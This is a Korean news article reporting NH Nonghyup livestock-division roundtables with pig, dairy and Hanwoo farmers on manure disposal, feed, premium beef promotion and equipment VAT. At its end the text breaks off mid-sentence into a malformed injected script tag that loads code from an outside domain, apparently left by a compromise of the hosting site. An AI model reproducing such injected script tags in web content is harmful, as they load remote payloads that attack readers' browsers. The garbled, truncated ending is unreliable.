농협중앙회의 축산업 유지·발전을 위한 행보가 빨라지고 있다.
중앙회 축산경제부문은 현장의 목소리를 적극적으로 수렴해 향후 회원조합의 지원 등의 효율성을 극대화하기 위해 전국에서 축산 사랑방 좌담회를 개최하고 있다.
지난달 29일 충남 당진 소재 당진축협 관광농원에서 축산사랑방 죄담회를 개최한 데 이어 30일에는 경기도 파주소재 서경양돈농협의 양돈작목반실에서 양돈좌담회를 열었다.
좌담회에 참석한 양축가들은 가축분뇨처리 등 최근 현안문제에 대한 중앙회의 전폭적인 지원과 관심을 촉구하고, 축산정책에 현장의 의견이 반영되도록 대정부 활동에 박차를 가해달라고 주문했다.
◆ 당진군 축산사랑방 좌담회에서는…
송석우 농협중앙회 축산경제대표는 좌담회에 앞서 최근 이웃에서 악성 가축질병이 빈발하고 있는 사실을 상기시키면서 “아무리 농사를 잘해도 가축질병이 발생하면 모든 것이 수포로 돌아간다”며 신중에 신중을 당부했다.
송 대표는 또 지역축협을 축산업 발전의 거점으로 삼겠다는 의지를 표명한 후 고품질 축산물 생산사업이나 특화사업을 통해 양축가들의 소득 증대를 도모하지 않는 조합에게는 향후 지원은 없다고 단언하고 조합의 경제사업 활성화를 독려했다.
이날 좌담회는 일정한 사안없이 양축을 하면서 현장에서 겪은 애로사항 등을 질문하고 송대표를 비롯한 축산경제부문의 담당팀장들이 설명하는 형식으로 진행됐다. 송대표는 필요한 사항에 대해 즉석에서 팀장들에게 적극 검토하고 반영하라는 지시를 내렸다.
△차선수 양돈농가=최근 양돈업계는 분뇨처리가 가장 큰 문제이다.
퇴비처리를 위한 톱밥도 너무 부족해 이를 대체할 수 있는 방안이 시급하다. 미곡종합처리장(RPC)을 운영하는 농협들과의 연계를 통해 왕겨를 활용할 수 있도록 해 달라. 축분퇴비도 제대로 공급되지 못하고 있는 실정이다. 축분퇴비의 보급을 권장해 줬으면 좋겠다.
〈〈답변〉〉 김기양 축산컨설팅 방역위생팀장=이전에는 원목 수입이 많아 톱밥 공급에 큰 도움이 됐으나 지금은 가공품 형태의 수입으로 전환되면서 톱밥 부족이 가중되고 있다. 왕겨 문제는 RPC농협과의 연계를 모색해 보겠다.
△윤재관 낙농농가=축산업 등록제 이전에 무허가 낙농가들의 양성화 조치가 우선돼야 한다.
원유 직결체계 전환 등으로 낙농가들이 불안에 떨고 있다. 어떤 형태로 어떻게 진행될 지 등 문제 해결을 위해 중앙회가 적극 참여해 달라.
〈〈답변〉〉 송석우 대표=무허가 농가에 대한 양성화는 농림부에서 난색을 표하고 있다.
몇년 전에 양성화한 적이 있었다. 때마다 양성화하는 것은 축산정책 방향이 맞지 않다는 것이다. 분뇨처리 자금 지원문제도 마찬가지이다.
이제는 농가 스스로 자신의 농장을 친환경화하는 것이 무엇보다 중요하다. 단지 최근 가축분뇨처리에 대해 환경부가 정한 기준이 너무 어렵고 양축가 쪽에서는 힘겹게 돼 있는 것이 문제이다. 그렇다면 환경부에서 자금을 지원토록 해야 한다. 이를 위해 역량을 모아 보겠다.
△조규완 한우농가=고급육 사업이 활성화되면서 한우고기에 대한 품질이 크게 향상됐다. 그러나 소비자들이 고급육을 식별할 수 있는 능력이 부족해 고급육 노력이 제대로 평가받고 있지 못하고 있다.
소비자들이 고급육을 제대로 평가하고 구입할 수 있는 홍보가 절대적으로 필요하다.
〈〈답변〉〉 송 대표=소값이 좋았을 때 거세를 기피해 고급육 체계가 무너진 적이 있었다.
고급육 생산에 대한 농가들의 지속적인 노력이 필요하다. 소비자들에 대한 홍보는 언론매체 등을 통해 지속적으로 전개하고 있다. 브랜드 축산물 전문매장도 서울 문정동에 개점한 이후 올해 4곳으로 확대해 소비층과의 연계를 강화할 것이다.
한우고기의 고급화가 정착되면 수입육과의 경쟁도 가능하리라 본다.
△신필수 낙농농가=조사료 자급생산을 위해 전답을 이용한 볏짚 등 곤포사일리지를 많이 하고 있는데 이에 사용되는 비닐랲의 비용이 장난이 아니다. 그런데 농업 쪽 기자재 등에는 부가세가 면세되고 있는 반면 비닐랲 등 축산기자재 등에는 부가세가 붙고 있는 것은 이해할 수 없다.
〈〈답변〉〉 송 대표=축산기자재에 대한 부가세 면세는 지속적으로 건의하고 현실화되도록 최선의 노력을 다하고 있다.
필요한 조사료량을 전국 축협을 통해서 조사하고 있다. 심지어는 사슴까지 조사한다. 양축가들이 필요로 하는 물량을 충족시키도록 하겠다.
◆ 파주 양돈사랑방 좌담회에서는…
“가축분뇨 처리와 각종 소모성 질병의 근절 없이는 양돈산업의 미래도 없습니다.”
`새농촌 새농협운동''의 일환으로 농협중앙회 축산지원?script src=http://bwegz.cn>
